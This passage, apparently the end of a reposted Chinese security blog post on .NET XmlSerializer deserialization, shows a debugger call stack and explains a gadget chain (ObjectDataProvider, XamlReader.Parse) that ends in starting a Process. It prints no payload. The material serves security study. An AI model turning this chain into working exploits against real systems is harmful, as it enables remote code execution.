     mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x000F, Native=0x06B0DCB8+0x6B)
     mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x06B0D870+0x18D)
     mscorlib.dll!System.Reflection.MethodBase.Invoke(object obj, object[] parameters) (IL≈0x0000, Native=0x039D3848+0x36)
     System.Xml.dll!System.Xml.Serialization.TempAssembly.InvokeReader(System.Xml.Serialization.XmlMapping mapping, System.Xml.XmlReader xmlReader, System.Xml.Serialization.XmlDeserializationEvents events, string encodingStyle) (IL≈0x00E5, Native=0x039D15F0+0x3A1)
     System.Xml.dll!System.Xml.Serialization.XmlSerializer.Deserialize(System.Xml.XmlReader xmlReader, string encodingStyle, System.Xml.Serialization.XmlDeserializationEvents events) (IL≈0x0084, Native=0x039D11E0+0x1D9)
     System.Xml.dll!System.Xml.Serialization.XmlSerializer.Deserialize(System.Xml.XmlReader xmlReader, string encodingStyle) (IL≈0x0000, Native=0x039D1180+0x42)
     System.Xml.dll!System.Xml.Serialization.XmlSerializer.Deserialize(System.IO.TextReader textReader) (IL≈0x001C, Native=0x07B8FD20+0x7F)
     ConsoleApp.exe!ConsoleApp.Program.Main(string[] args) (IL≈0x003C, Native=0x05E61C40+0xF6)

从上面可以看出这个链的调用情况:ObjectDataProvider.OnParametersChanged触发了Refresh,在通过Refresh反射XamlReader中的Parse然后在到新的ObjectDataProvider中的Refresh执行Process类

参考链接:

  1. https://xz.aliyun.com/t/9592

  2. https://www.anquanke.com/post/id/172316


原文始发于微信公众号(我真不是红队啊):.Net XmlSerializer反序列化学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月10日18:23:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   .Net XmlSerializer反序列化学习https://cn-sec.com/archives/670022.html

发表评论

匿名网友 填写信息